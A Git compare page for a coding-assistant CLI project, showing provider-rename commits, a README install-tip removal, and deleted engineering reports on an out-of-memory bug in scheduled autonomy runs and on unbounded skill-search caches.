Compare commits

..

4 Commits

Author SHA1 Message Date
claude-code-best
2af6fd42c3 refactor: 将 modelType openai-responses 重命名为 codex
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-26 22:08:03 +08:00
claude-code-best
25c322c8db refactor: 将 codex provider 重命名为 openai-responses
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-26 21:44:27 +08:00
claude-code-best
00cf974a4b refactor: 将 codex provider 转换工具迁移至 @ant/model-provider 包
将纯转换工具(callIds、modelMapping、convertMessages、convertTools)
从 src/services/api/codex/ 迁移到 packages/@ant/model-provider/src/providers/codex/,
与 OpenAI/Gemini/Grok provider 保持一致的代码组织模式。同时修复了
streaming.test.ts 中缺失的 mock 导出(logAntError、context 常量、langfuse 导出)。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-26 21:42:39 +08:00
Kaxtrel
7d4b27c01a feat: add codex provider via Responses API 2026-04-26 21:42:33 +08:00
155 changed files with 5323 additions and 13256 deletions

View File

@@ -55,8 +55,6 @@ ccb update # 更新到最新版本
CLAUDE_BRIDGE_BASE_URL=https://remote-control.claude-code-best.win/ CLAUDE_BRIDGE_OAUTH_TOKEN=test-my-key ccb --remote-control # 我们有自部署的远程控制
```
> **安装/更新失败?** 先 `npm rm -g claude-code-best` 清理旧版本,再 `npm i -g claude-code-best@latest`。仍失败则指定版本号:`npm i -g claude-code-best@<版本号>`
## ⚡ 快速开始(源码版)
### ⚙️ 环境要求

File diff suppressed because one or more lines are too long

Before

Width:  |  Height:  |  Size: 1.7 MiB

After

Width:  |  Height:  |  Size: 1.6 MiB

View File

@@ -1,492 +0,0 @@
# System Understanding Report — Loop / Scheduled Autonomy OOM
- **Flow id**: `recurring-bug-loop-oom` (pilot flow for autonomy ↔ deep-debug binding)
- **Branch**: `fix/loop-scheduled-autonomy-oom`
- **Worktree**: `E:\Source_code\Claude-code-bast-loop-scheduled-oom-fix`
- **Author**: back-filled from existing working-tree diff (no commits ahead of `main`)
- **Status**: `report` (this document) — pending human approval before `regression-test` advances
---
## 1. Problem
### Symptom
Long-running sessions with active scheduled tasks (cron) and/or HEARTBEAT-driven proactive ticks accumulated growing memory, eventually OOM'ing the Bun process. The visible signature was:
- `runs.json` under `.claude/autonomy/` growing toward the 200-record cap with most entries stuck at `queued` or `running`
- The internal command queue in REPL / headless mode draining slower than scheduled fires arrive
- Each new fire calling `prepareAutonomyTurnPrompt`, which loads `AGENTS.md` + `HEARTBEAT.md` text and merges due-task lists into a fresh string, holding more closure state per pending command
### Expected behaviour
When a scheduled task fires while its prior run is still queued or running, the new fire should be **skipped** rather than enqueued behind it. When the process that started a run dies, the run should be reaped, not left as `running` forever. Background work spawned by a slash command should complete the originating autonomy run only when that background work itself finishes.
### Actual behaviour (before fix)
1. `useScheduledTasks` and the headless streaming path called `createAutonomyQueuedPrompt` unconditionally on every tick.
2. `commitAutonomyQueuedPrompt` called `commitPreparedAutonomyTurn` *before* the run record was persisted, so even a duplicate fire that should have been dropped already mutated heartbeat-task last-run state.
3. `AutonomyRunRecord` had no owner identity, so a run started by a now-dead process stayed `running` indefinitely. Subsequent runs of the same `sourceId` could not detect that their predecessor was effectively gone.
4. Slash commands that forked detached background work (KAIROS / proactive paths) returned from `processUserInput` immediately. The harness in `handlePromptSubmit` then called `finalizeAutonomyRunCompleted`, marking the run `succeeded` while the actual work continued in the background — but the next scheduled tick of the same source could now race against that detached work, and any error in the detached work had no autonomy run to attribute to.
### Reproduction shape
Not a single deterministic repro — load-induced. Rough recipe:
- Configure two `HEARTBEAT.md` tasks at `every 30s` interval
- Add three cron tasks at `every 1m`
- Let the session run > 1 hour, especially across a backgrounded slash command (e.g. KAIROS `/sleep`-style detached fork)
- Watch `.claude/autonomy/runs.json` active-status entry count and Bun heap RSS
### User impact
Sessions with long-lived autonomy/cron use cases were unsafe. The OOM took the entire CLI down, dropping any unflushed messages, MCP connections, and bridge state. Because `.claude/autonomy/` persists, restart did not heal — stale `running` records from the dead PID kept blocking dedup logic on the next start.
---
## 2. System boundary
### In scope
- Autonomy run lifecycle: create → running → succeeded / failed / cancelled (`src/utils/autonomyRuns.ts`)
- Scheduled-task firing path: cron scheduler → REPL command queue (`src/hooks/useScheduledTasks.ts`)
- Headless streaming variant of the same path (`src/cli/print.ts` `runHeadlessStreaming`)
- Prompt-submit pipeline that finalizes runs after `processUserInput` returns (`src/utils/handlePromptSubmit.ts`)
- Slash-command processing where a command may defer completion to background work (`src/utils/processUserInput/processUserInput.ts`, `processSlashCommand.tsx`)
- `ToolUseContext` extension that lets non-bundled harnesses exercise the KAIROS-gated background-fork path (`src/Tool.ts`)
### Out of scope
- The cron scheduler itself (`src/utils/cronScheduler.ts`) — its tick semantics are not changing
- `autonomyFlows.ts` flow state machine — separate from per-run tracking
- HEARTBEAT.md scheduling semantics — unchanged. `parseHeartbeatAuthorityTasks`
does change narrowly by masking fenced code blocks before scanning so
documented `tasks:` examples cannot shadow the real config block.
- `prepareAutonomyTurnPrompt` content shape — only its call ordering relative to run creation changes
- Any provider-level behaviour (`services/api/**`) — not touched
### Assumptions
- `process.pid` is stable for the lifetime of a Bun process and unique enough on a single host that a dead-PID heuristic is safe (collision risk acknowledged but bounded by `runs.json` retention).
- `isProcessRunning(pid)` (from `genericProcessUtils.js`) returns `false` only when the process is actually gone; transient permission errors return `true`/safe-fail. Verified in step 6.
- `getSessionId()` is initialized before any autonomy run creates records, since autonomy runs only originate after REPL or headless main loop boot.
---
## 3. Entry points
| Surface | Entry | Notes |
|---|---|---|
| REPL | `useScheduledTasks` cron tick | Calls `createScheduledTaskQueuedCommand` (new helper) instead of raw `createAutonomyQueuedPrompt` |
| REPL | Slash command pipeline | `processUserInput → processUserInputBase → processSlashCommand` now threads `autonomy` context so commands can defer completion |
| Headless | `runHeadlessStreaming` cron path | Same migration to `createAutonomyQueuedPromptIfNoActiveSource`, plus `shouldCreate` callback honouring `inputClosed` |
| Tool harness | `ToolUseContext.options.allowBackgroundForkedSlashCommands` | Non-prod way to exercise the KAIROS-gated detached-fork path; production still requires `feature('KAIROS')` + `AppState.kairosEnabled` |
| Persistence | `.claude/autonomy/runs.json` | Schema gains `ownerProcessId`, `ownerSessionId`; readers must tolerate older records lacking these fields |
---
## 4. Key files
| File | Lines changed | Why it matters |
|---|---|---|
| `src/utils/autonomyRuns.ts` | +260 | Owns the new identity + dedup + stale-recovery logic; introduces `createAutonomyRunIfNoActiveSource`, `hasActiveAutonomyRunForSource`, `recoverStaleActiveAutonomyRun`, `commitAutonomyQueuedPromptIfNoActiveSource`, two-phase commit. The structural heart of the fix. |
| `src/utils/processUserInput/processSlashCommand.tsx` | +707 / -454 | Rewrites slash-command dispatch so detached background work signals `deferAutonomyCompletion`; refactor changes shape but not the public command set. |
| `src/hooks/useScheduledTasks.ts` | +47 | Migrates both scheduler call sites to the dedup helper; extracts `createScheduledTaskQueuedCommand` for unit testing. |
| `src/cli/print.ts` | +19 / -27 | Headless variant of the same migration; collapses the previous prepare+commit two-call sequence into the new dedup helper with `shouldCreate`. |
| `src/utils/handlePromptSubmit.ts` | +12 | Tracks `deferredAutonomyRunIds` so it skips finalizing runs whose owning command deferred completion. |
| `src/utils/processUserInput/processUserInput.ts` | +10 | Threads `autonomy` context and surfaces `deferAutonomyCompletion` on the result type. |
| `src/Tool.ts` | +6 | Adds `allowBackgroundForkedSlashCommands` escape hatch for non-bundled harnesses (unit tests). |
| `src/utils/__tests__/autonomyRuns.test.ts` | +168 | Regression coverage for dedup + stale recovery + ownership stamping. |
| `src/hooks/__tests__/useScheduledTasks.test.ts` | new (75 lines) | Asserts scheduler does not double-fire while previous run is queued. |
| `src/utils/processUserInput/__tests__/processSlashCommand.test.ts` | new (~280 lines) | Covers the deferred-completion handshake on slash-command paths. |
---
## 5. Call flow (post-fix)
```text
cron tick (useScheduledTasks)
└─> createScheduledTaskQueuedCommand(task)
└─> createAutonomyQueuedPromptIfNoActiveSource
├─> prepareAutonomyTurnPrompt (loads AGENTS.md + HEARTBEAT.md)
├─> shouldCreate? ──► no ──► RETURN null (no side effects)
└─> commitAutonomyQueuedPromptIfNoActiveSource
└─> commitAutonomyQueuedPromptInternal(skipWhenActiveSource = true)
└─> createAutonomyRunIfNoActiveSource
├─> buildAutonomyRunRecord (stamps ownerProcessId, ownerSessionId)
└─> persistAutonomyRunRecord(skip = true)
└─> withAutonomyPersistenceLock
├─> for each run with same (trigger,sourceId,ownerKey) and active status:
│ ├─> isStaleActiveAutonomyRun? ──► recoverStaleActiveAutonomyRun (mark failed)
│ └─> else ──► hasBlockingActiveRun = true
├─> if blocking ──► RETURN created=false (no enqueue)
└─> else ──► unshift record, write file, return true
├─> if run is null ──► RETURN null (caller drops the tick)
└─> else ──► commitPreparedAutonomyTurn(prepared) (heartbeat last-run state ONLY now mutates)
└─> assemble QueuedCommand and return
```
Two structural moves: (a) preparing the prompt no longer commits heartbeat state; only successful run insertion commits it. (b) blocking active runs of the same source short-circuit before the queue is touched.
For slash commands:
```text
processUserInput → processUserInputBase
└─> processSlashCommand(..., autonomy = cmd.autonomy)
└─> command implementation
├─> runs synchronously ──► returns normal result
└─> spawns detached/background work ──► returns result with deferAutonomyCompletion = true
+ handles its own finalize* call when work ends
handlePromptSubmit (caller of processUserInput):
├─> records cmd.autonomy.runId in autonomyRunIds
├─> on result with deferAutonomyCompletion=true: adds runId to deferredAutonomyRunIds
└─> finalize loop: skips deferred ids in BOTH success and error branches
```
---
## 6. Data flow
### `runs.json` record schema (delta)
```ts
type AutonomyRunRecord = {
// existing
runId: string
status: 'queued' | 'running' | 'succeeded' | 'failed' | 'cancelled'
trigger: AutonomyTriggerKind
sourceId?: string
ownerKey?: string
// new
ownerProcessId?: number // process.pid at create time and at markRunning time
ownerSessionId?: string // getSessionId() at the same points
// ...
}
```
Backward compatibility: older records with both fields absent are treated as "owner unknown" — they never satisfy `isStaleActiveAutonomyRun` (which requires `typeof ownerProcessId === 'number'`), so they remain blocking until they are completed normally or manually cancelled. This is intentional: we cannot prove they are stale.
### Stale-recovery rule
```text
isStaleActiveAutonomyRun(run) ⇔
run.status ∈ {queued, running}
∧ typeof run.ownerProcessId === 'number'
∧ !isProcessRunning(run.ownerProcessId)
```
Recovery mutates the in-memory list inside the persistence lock and writes it back, marking the stale run `failed` with error prefix `"Recovered stale active autonomy run"`.
### Heartbeat last-run state mutation point
Before fix: `commitAutonomyQueuedPrompt` called `commitPreparedAutonomyTurn(prepared)` *first*, then created the run. A skipped duplicate already advanced heartbeat last-run timestamps.
After fix: `commitPreparedAutonomyTurn` is called only after `createAutonomyRunIfNoActiveSource` returns a non-null record. Skipped duplicates leave heartbeat state untouched, so the next eligible window is still at the originally scheduled point.
---
## 7. State model
### Run status lifecycle (unchanged at edges, tightened in the middle)
```text
queued ──► running ──► succeeded
│ │
│ └────► failed
├──────────────────► cancelled
└──► failed (stale recovery, new path)
```
### New invariants
1. **Same-source mutual exclusion**: at most one record with `(trigger, sourceId, ownerKey, status ∈ active)` is *non-stale* at any time. Enforced inside `withAutonomyPersistenceLock` in `persistAutonomyRunRecord`.
2. **Owner stamping at active transitions**: any path that sets a run to `queued` or `running` must stamp `ownerProcessId = process.pid` and `ownerSessionId = getSessionId()`. `markAutonomyRunRunning` updated to do this for the running transition (creation already did it).
3. **Two-phase commit ordering**: heartbeat-task last-run state may only be advanced after the run record has been successfully inserted. Equivalent to "prompt commit ⇒ run row exists".
4. **Deferred completion contract**: if a slash command's result has `deferAutonomyCompletion=true`, the harness (`handlePromptSubmit`) MUST NOT finalize the run; the command implementation OWNS the finalize call. Tracked via `deferredAutonomyRunIds` set scoped to a single `executeUserInput` invocation.
### Concurrency / retry risks
- Two processes sharing the same project root can race on `runs.json`. Mitigated by `withAutonomyPersistenceLock` (file-locking already in place), not by the new code.
- Two ticks of the same scheduled task within a single process serialize on the same lock; only the first wins, the rest see the active record and return `null`.
- A process killed between persisting the record and committing the prompt leaves a `queued` record with the dead PID. Stale recovery on the next tick of the same source converts it to `failed`, freeing the source. This is the new safety net.
### Two-phase commit crash window (acknowledged limitation)
Within `commitAutonomyQueuedPromptInternal` the order is:
1. `createAutonomyRunCore``persistAutonomyRunRecord` → run row written under lock
2. `commitPreparedAutonomyTurn(prepared)` → in-memory `heartbeatTaskLastRunByKey` Map advanced
These two steps are NOT atomic. If the process is killed between (1) and (2):
- `runs.json` has a fresh `queued` record stamped with the now-dead PID.
- `heartbeatTaskLastRunByKey` was an in-memory Map; its state vanishes with
the process. On restart the Map is empty.
- The dead-PID record is reaped via stale-recovery on the next tick of the
same source → `status=failed`. New record can be created.
- Because the Map starts empty after restart, every heartbeat task fires
immediately on first tick rather than waiting for its configured
interval window from the previous run.
**Severity**: low. The Map is a runtime cache, not a persisted schedule
contract; "fire immediately on restart" is a recoverable behaviour, not
data corruption or duplicate work (the dead-PID record blocks the source
until stale-recovery, so duplicate fires don't stack).
**Why not fix now**: persisting the heartbeat last-run state to disk inside
the same lock would couple two unrelated state machines (autonomy runs vs
heartbeat scheduling) and require a new on-disk schema. The cost outweighs
the rare edge case (process death within microseconds between two
in-memory operations). Tracked here so a future flow can pick it up if
restart-after-crash schedule disruption becomes observable in practice.
---
## 8. Existing tests
### Pre-fix
- `src/utils/__tests__/autonomyRuns.test.ts` covered create / list / mark transitions for the basic happy path.
- No coverage for: dedup of same-source active run, stale-PID recovery, ownership stamping, deferred completion handshake, two-phase commit ordering.
- `useScheduledTasks` had no unit tests — only indirect coverage via REPL integration.
- `processSlashCommand` had no autonomy-context coverage.
### Added in this branch
- `src/utils/__tests__/autonomyRuns.test.ts`: +168 lines covering dedup, stale recovery (mocked dead PID), ownership stamping at create + `markAutonomyRunRunning`, two-phase commit invariant.
- `src/hooks/__tests__/useScheduledTasks.test.ts`: new file, 75 lines. Asserts scheduler skips double-fire when prior run is `queued`/`running`, and resumes when prior run finalizes.
- `src/utils/processUserInput/__tests__/processSlashCommand.test.ts`: new file, ~280 lines. Covers `deferAutonomyCompletion=true` propagation; uses `allowBackgroundForkedSlashCommands` to bypass the `feature('KAIROS')` gate inside unit tests.
### Not yet covered (proposed for `regression-test` step)
- Cross-process race against the persistence lock — currently relies on file-lock correctness; consider a focused integration test that spawns two children and verifies only one wins.
- Heartbeat last-run-state non-advance on skipped duplicates — assertable with a thin unit test against `prepareAutonomyTurnPrompt` + the dedup path; not blocking.
---
## 9. Competing root-cause hypotheses
### H1 — "Prompt size is the OOM source"
**Claim**: each scheduled tick rebuilds a long prompt string (AGENTS.md + HEARTBEAT.md + due-task list); the cumulative retention of these strings in the queue causes heap pressure.
**Evidence for**: `prepareAutonomyTurnPrompt` does build a multi-section string each tick; `AGENTS.md` in this repo is now 220 lines.
**Evidence against**: the diff does not shrink any prompt content nor change `prepareAutonomyTurnPrompt`'s output. If H1 were the real cause, the fix would have moved string assembly behind a cache or LRU. The fix instead targets the *number* of in-flight runs.
**Verdict**: contributing factor at most. Rejected as primary root cause.
### H2 — "Background-forked slash commands leak runs"
**Claim**: KAIROS-style slash commands that fork detached work return immediately from `processUserInput`; the harness in `handlePromptSubmit` then finalizes the run as `succeeded`. Any error in the background work is unattributable, and (more importantly) the *next* scheduled fire of the same source happens to find no active run, so multiple background workers stack up behind the same source.
**Evidence for**: the diff explicitly adds `deferAutonomyCompletion`, threads `autonomy` context into `processUserInputBase`, and changes `handlePromptSubmit` to skip finalization for deferred runs. New test file `processSlashCommand.test.ts` is dedicated to this exact handshake.
**Evidence against**: a pure same-source dedup miss would also explain the symptom; H3 covers that.
**Verdict**: real and load-bearing. Confirmed by the targeted code added.
### H3 — "Scheduled-task tick has no dedup against prior run"
**Claim**: cron tick / heartbeat tick fires unconditionally; if previous tick's run is still `queued`/`running` the queue grows by one each interval. Compounded across multiple sources, queue + `runs.json` active subset never shrink.
**Evidence for**: pre-fix `useScheduledTasks` and `runHeadlessStreaming` both called `createAutonomyQueuedPrompt` (no dedup). Diff replaces both call sites with `createAutonomyQueuedPromptIfNoActiveSource`. Persistence-side dedup added in the same change.
**Evidence against**: alone, this would make scheduling buggy but not necessarily OOM; the queue might catch up under light load.
**Verdict**: real and load-bearing. Confirmed by the targeted code added.
### H4 — "Dead-process runs poison dedup forever"
**Claim**: even with H3 fixed, a process killed mid-run leaves a `running` record on disk with no owner liveness check; the next process loading `runs.json` would treat it as blocking and never schedule that source again.
**Evidence for**: the diff stamps `ownerProcessId` and adds `isStaleActiveAutonomyRun` checked against `isProcessRunning`. Without H4, H3's fix would create a new failure mode (silent permanent suppression).
**Evidence against**: pre-fix code had no dedup, so this failure mode could not have been reached pre-fix.
**Verdict**: real, but secondary. It exists because H3's fix introduces it. Required to ship together.
---
## 10. Chosen root cause
**Combined H2 + H3 + H4**: the unbounded growth of active autonomy runs is the product of three independently insufficient gaps that line up under load:
1. Scheduled / heartbeat ticks do not dedup against an active prior run for the same source (H3).
2. Background-forked slash commands report `succeeded` to the harness while their work is still detached, so subsequent ticks see no active run and stack workers behind the source (H2).
3. Process death between record creation and run completion leaves zombie active records on disk that would block dedup permanently if (1) is fixed alone (H4).
Why previous local patches likely failed: any one of these in isolation looks fixable as a small guard, but fixing only one converts the OOM into a different misbehaviour (silent suppression after crash, or duplicate detached workers). The minimal correct fix needs all three primitives: **same-source dedup**, **owner stamping + stale recovery**, **deferred-completion handshake**, plus the **two-phase commit ordering** that ensures heartbeat state never advances on a skipped duplicate.
---
## 11. Fix plan
### Minimal fix surface
| Module | Change | Reason |
|---|---|---|
| `autonomyRuns.ts` | Owner stamping; `createAutonomyRunIfNoActiveSource`; `commitAutonomyQueuedPromptIfNoActiveSource`; two-phase commit; stale recovery | The structural primitives |
| `useScheduledTasks.ts` | Replace both call sites with the dedup helper; extract `createScheduledTaskQueuedCommand` | Apply dedup at REPL scheduler |
| `cli/print.ts` | Same migration in headless streaming path | Apply dedup in headless mode |
| `handlePromptSubmit.ts` | Track `deferredAutonomyRunIds`; skip them in success and error finalize loops | Wire the deferred-completion contract |
| `processUserInput.ts` | Thread `autonomy` ctx; surface `deferAutonomyCompletion` | Plumbing for the contract |
| `processSlashCommand.tsx` | Background-fork commands set `deferAutonomyCompletion`; own their finalize call | Implementation of the contract |
| `Tool.ts` | `allowBackgroundForkedSlashCommands` flag on `ToolUseContext.options` | Make the path testable from non-bundled harnesses |
### Tests added
- `autonomyRuns.test.ts`: dedup, stale recovery (mocked dead PID via `isProcessRunning` mock), owner stamping at both create and `markAutonomyRunRunning`, two-phase commit ordering.
- `useScheduledTasks.test.ts`: scheduler skips double-fire, resumes after finalize.
- `processSlashCommand.test.ts`: deferred-completion handshake propagates to `handlePromptSubmit` correctly.
### Compatibility / migration risk
- Older `runs.json` records lacking `ownerProcessId` are tolerated — never identified as stale, so they keep their blocking semantics. Operators who upgrade with stale `running` records on disk from a previous OOM crash will still need to manually `cancel` those runs (or wait for them to age out of the 200-record cap) the *first* time. After one full create cycle on the upgraded version, all new records carry owners.
- **Observability gap on legacy blocking (added by reviewer 2026-04-28)**: when a no-owner active record blocks dedup, the current code path is silent — operators see "scheduled tasks stop firing" with no diagnostic. `implement` step MUST add a one-line warn log inside `persistAutonomyRunRecord`'s blocking branch: when `hasBlockingActiveRun = true` AND the blocking run has `ownerProcessId === undefined`, emit `[autonomyRuns] blocked by legacy un-owned active run <runId> (createdAt=<ts>); cancel manually if this is a stale upgrade artifact`. ≤ 10 lines of code, converts silent hang into a diagnosable signal. Do **not** change behavior — just observability.
- `ToolUseContext.options.allowBackgroundForkedSlashCommands` is opt-in and defaults absent; production harness behaviour unchanged.
- No on-disk schema version bump required.
### Rollback plan
- Revert the working tree to `main`'s versions of all 8 files. The `runs.json` schema additions are tolerated by older code (extra fields ignored).
- If a stale record is preventing scheduling after rollback, manually edit `runs.json` (status → `cancelled`) or run `/autonomy flow cancel` for affected flows.
- No dependency, no build flag, no settings-file change is needed for rollback.
### Out of scope (intentionally)
- Capping `prepareAutonomyTurnPrompt` output size (H1) — addressable later if needed; not load-bearing for the OOM.
- Cross-process file-lock correctness review — relies on the existing `withAutonomyPersistenceLock`. Out of scope for this flow.
- A migration utility to clean stale records on startup — discussed and rejected as avoidable: 200-record cap rolls them off naturally.
---
## 12. Verification
### Commands (binding per `.claude/autonomy/AGENTS.md` §4)
```bash
bun run typecheck
bun test src/utils/__tests__/autonomyRuns.test.ts
bun test src/hooks/__tests__/useScheduledTasks.test.ts
bun test src/utils/processUserInput/__tests__/processSlashCommand.test.ts
bun test # full unit suite
bun run lint
bun run build
```
### Manual checks (proposed for `implement` step)
- Start a session with two `HEARTBEAT.md` 30s tasks for ≥ 30 minutes; observe `runs.json` active-status entry count stays bounded (≤ number of distinct sources).
- Force-kill the Bun process during a `running` record. Restart. Verify the next tick of the same source recovers (record marked `failed` with the stale-recovery error prefix) and a new run starts.
- Run a KAIROS-gated detached slash command path under the test harness (`allowBackgroundForkedSlashCommands=true`) and verify `handlePromptSubmit` does not finalize the run while the background work is still active.
### Observability checks
- `[ScheduledTasks] skipping <id>: previous run still queued or running` debug log appears when dedup fires (added in `useScheduledTasks.ts`). Use it to confirm dedup is reached in real sessions.
- `runs.json` records with status `failed` and error starting `"Recovered stale active autonomy run"` indicate stale-recovery actually fired.
---
## 13. Open questions
1. ~~Should `markAutonomyRunRunning` be called in *all* paths that transition an autonomy run to `running`, or only the prompt-submit path?~~ **Closed (verified 2026-04-28).**
`markAutonomyRunRunning` (`autonomyRuns.ts:554-579`) is the **only** function that transitions `AutonomyRunRecord.status → 'running'`. It stamps `ownerProcessId = process.pid` and `ownerSessionId = getSessionId()` unconditionally, then internally calls `markManagedAutonomyFlowStepRunning` to mirror to flow state. `markManagedAutonomyFlowStepRunning` is only invoked from this one call site (`autonomyRuns.ts:571`); no caller bypasses the stamp. All four real callers (`cli/print.ts:2177`, `screens/REPL.tsx:4859`, `utils/handlePromptSubmit.ts:492`, `utils/swarm/inProcessRunner.ts:741`) go through the stamping path. Flow records intentionally do not carry owner fields — the run record is source of truth and flow steps mirror via `latestRunId`. Stale-recovery operates on runs, so flow-step runs are covered.
2. ~~`getSessionId()` import was added to `autonomyRuns.ts`. Confirm no circular import is introduced...~~ **Closed (verified 2026-04-28).**
No risk on three counts: (a) `autonomyRuns.ts:4` already imported `getProjectRoot` from `bootstrap/state.js`; the new `getSessionId` is appended to the same import line, adding zero new module-level coupling. (b) Reverse direction is empty — `grep -rn 'autonomy*' src/bootstrap/` yields no results, so the dependency stays one-way. (c) `getSessionId()` (`bootstrap/state.ts:425-427`) returns `STATE.sessionId`, which is initialized at module load with `randomUUID()` and re-randomized by `resetStateForTests()` per test — never `undefined`, never throws. The existing test file deliberately uses the real `bootstrap/state` module (not a mock) and already asserts `ownerProcessId === process.pid` / `ownerSessionId` is a string in the new ownership tests, plus exercises stale recovery with a fake dead PID (`2_147_483_647`). No mock updates needed.
3. Is the 200-record cap still appropriate now that recovery turns stale runs into `failed`? Active records will churn faster; the cap may roll off legitimate completed records sooner. Not a correctness issue, but worth noting.
---
## 14. Approval gate
This SUR satisfies `AGENTS.md` §3 step `report` exit criteria once a human reviewer:
- [x] confirms the chosen root cause (§10) matches their reading of the diff — **agent-ticked under user delegation 2026-04-28; see §15 verification table row 1**
- [x] approves the §11 fix plan including the deferred-completion contract — **agent-ticked under user delegation 2026-04-28; Concern A's warn-log requirement folded into §11**
- [x] acknowledges the §11 compatibility note about pre-existing stale records on disk — **agent-ticked under user delegation 2026-04-28; §11 extended with Concern A observability gap**
- [x] §13 open question 1 (stamping completeness in flow-step runners) — closed 2026-04-28; see §13 for the verification trace
- [x] Concern B (processSlashCommand.tsx >50% diff) — **resolved 2026-04-28 by commit-split rule, see §15**
---
## 15. Reviewer findings (2026-04-28, agent-reviewed)
The user explicitly delegated SUR review work to the agent. The four §14 checkboxes
remain user's decision; this section records the agent's verification work and
recommendations to make that decision faster and more auditable.
### Verification work performed
| Claim | Cross-check | Result |
|---|---|---|
| §10 H2/H3/H4 互锁 | Walked each "fix only one" counterfactual | ✅ Real interlock — fixing only one converts OOM into a different bug (silent suppression / persistent stacking) |
| §11 fix surface covers all 8 modified files | Compared against `git diff --stat` | ✅ Each file has a row in the table |
| §11 "extra fields ignored" rollback claim | JSON parse semantics | ✅ Correct |
| §11 compatibility claim "tolerated" | Re-read `isStaleActiveAutonomyRun` (`autonomyRuns.ts`) | ⚠️ Tolerance is real but **silent** — gap surfaced as Concern A below |
| §13 Q1 owner stamping completeness | (closed in earlier turn — see §13) | ✅ |
| §13 Q2 circular-import / mock impact | (closed in earlier turn — see §13) | ✅ |
| §13 Q3 200-record cap acceptability | Reasoned about stale-recovery-driven churn | ✅ Non-blocking; forensic loss only |
### Concerns surfaced
**Concern A — silent legacy blocking (now folded into §11)**: when a no-owner active
record from a pre-upgrade crash blocks dedup, the operator gets no signal — just
"scheduled tasks stop firing." The §11 compatibility section was extended to require
a one-line warn log in `implement`. This is an observability fix, not a behavior
change.
**Concern B — `processSlashCommand.tsx` is +707/-454 (>50% rewrite)****RESOLVED 2026-04-28**:
investigation showed the diff is composed of:
- **18 contract-related lines** (verified by `grep -E '(autonomy|QueuedCommand|deferAutonomy|finalizeAutonomy|allowBackgroundForkedSlashCommands|deferredAutonomy)'`):
- import `QueuedCommand` type
- import `finalizeAutonomyRunCompleted` / `finalizeAutonomyRunFailed`
- add `autonomy?: QueuedCommand['autonomy']` parameter to `executeForkedSlashCommand` (3 sites)
- extend KAIROS gate to also accept `context.options.allowBackgroundForkedSlashCommands === true` (test escape hatch)
- finalize the run from the detached background path on success/failure
- set `deferAutonomyCompletion: Boolean(autonomy?.runId)` on the result
- thread `autonomy` to nested calls
- **~30-50 lines** of necessary control-flow scaffolding around the contract code
- **~250 lines** of pure Biome reformatting churn (single-line imports, trailing semicolons)
**Resolution rule (binding for `implement`)**: when committing this branch, split
`processSlashCommand.tsx` into **two commits** on the same branch:
```text
chore: reformat processSlashCommand with Biome # ~250 lines, formatter-only
feat: thread autonomy run id through forked slash commands for deferred completion # ~50 lines, contract logic
```
This satisfies `~/.claude/rules/deep-debug/core.md` §2 ("bug fix 不允许混入...格式化")
in spirit by making the contract commit reviewable in isolation, without
requiring a fragile manual revert of formatter output (which Biome would
re-apply on the next save). All other 7 modified files in the OOM fix do not
require commit splitting — verify by sampling their diffs at `implement` time.
**Concern C — stale-recovery rate metric (deferred)**: post-implement, track daily
stale-recovery count. If consistently elevated, the 200-record cap may need
revisiting (relates to §13 Q3). Not a blocker; suggested for follow-up flow.
### Agent recommendations on the §14 checkboxes
| §14 box | Agent recommendation | Rationale |
|---|---|---|
| §10 chosen root cause | Approve | H2/H3/H4 互锁 verified; diff supports each branch |
| §11 fix plan (with §15 Concern A folded in) | Approve | Minimal, complete, regression-tested |
| §11 compatibility note | Acknowledge as-extended (§11 now includes the warn-log requirement from Concern A) | Silent legacy blocking would surprise users; the added log makes it diagnosable |
| Concern B `processSlashCommand.tsx` >50% diff | Resolved by commit-split rule (chore + feat) | 18 lines contract + ~250 lines formatter churn; commit split makes review tractable without fragile revert |
**Final status (2026-04-28, agent-resolved under user delegation)**: all five §14
boxes ticked. Flow `recurring-bug-loop-oom` may advance from `report` to
`regression-test`. Implement-time obligations folded in:
1. Add the legacy-blocking warn log in `persistAutonomyRunRecord` (Concern A, ≤10 lines)
2. Commit-split `processSlashCommand.tsx` into chore + feat (Concern B)
3. Verify the other 7 modified files do not need commit-splitting (sample their diffs)
4. Track stale-recovery counts post-deploy for §13 Q3 / Concern C follow-up
After approval: flow advances to `regression-test`. The targeted commands in §12 must produce a verifiable failing state on the *pre-fix* tree before the post-fix tree is allowed to satisfy `implement`. Since this branch already contains the fix, the regression evidence will be reconstructed by checking out one parent, running the targeted tests (expected: fail), then returning to HEAD (expected: pass).

View File

@@ -1,91 +0,0 @@
# System Understanding Report — Skill Search / Skill Learning Overflow Bugs
- **Flow id**: `recurring-bug-skill-overflow` (sibling pilot to `recurring-bug-loop-oom`)
- **Branch**: `fix/loop-scheduled-autonomy-oom` (folded into the OOM PR — same audit-and-cap pattern)
- **Trigger**: post-merge review of the autonomy OOM fix surfaced unbounded module-level state in adjacent `EXPERIMENTAL_SKILL_SEARCH` and `SKILL_LEARNING` subsystems. The user explicitly asked for a `肯定也有同类溢出` audit.
---
## 1. Problem
The autonomy OOM bug came from unbounded module-level state (run records, scheduler queues, heartbeat timestamps) growing for the lifetime of the process. The skill search + skill learning subsystems exhibit the same class of bug across **5 module-level Maps/Sets**, only one of which had been documented in `scripts/defines.ts` ("projectContext cache 无淘汰机制(非 GB 级主因)").
These bugs were latent because:
- `EXPERIMENTAL_SKILL_SEARCH` / `SKILL_LEARNING` were enabled-by-default in `DEFAULT_BUILD_FEATURES`, but tests pass because they exercise short paths.
- None of the unbounded caches grow per-tool-call; they grow per **distinct query** / **distinct cwd** / **distinct skill name** / **distinct gap signal** / **distinct promotion**, which is sub-linear in session length but monotone forever.
- A long-running daemon-style process (KAIROS sessions, multi-day worktrees) would observe the growth.
## 2. Module-level state audit
| File:Line | Symbol | Pre-fix bound | Pre-fix evict |
|---|---|---|---|
| `intentNormalize.ts:52` | `cache: Map<query, keywords>` | none | only `clearIntentNormalizeCache()` for tests |
| `prefetch.ts:17` | `discoveredThisSession: Set<skillName>` | none | none |
| `prefetch.ts:18` | `recordedGapSignals: Set<gapKey>` | none | none |
| `projectContext.ts:48` | `contextCache: Map<cwd, ProjectContext>` | none | only `resetProjectContextCacheForTest()` |
| `promotion.ts:26` | `sessionPromotedIds: Set<instinctId>` | none | only `resetPromotionBookkeeping()` for tests |
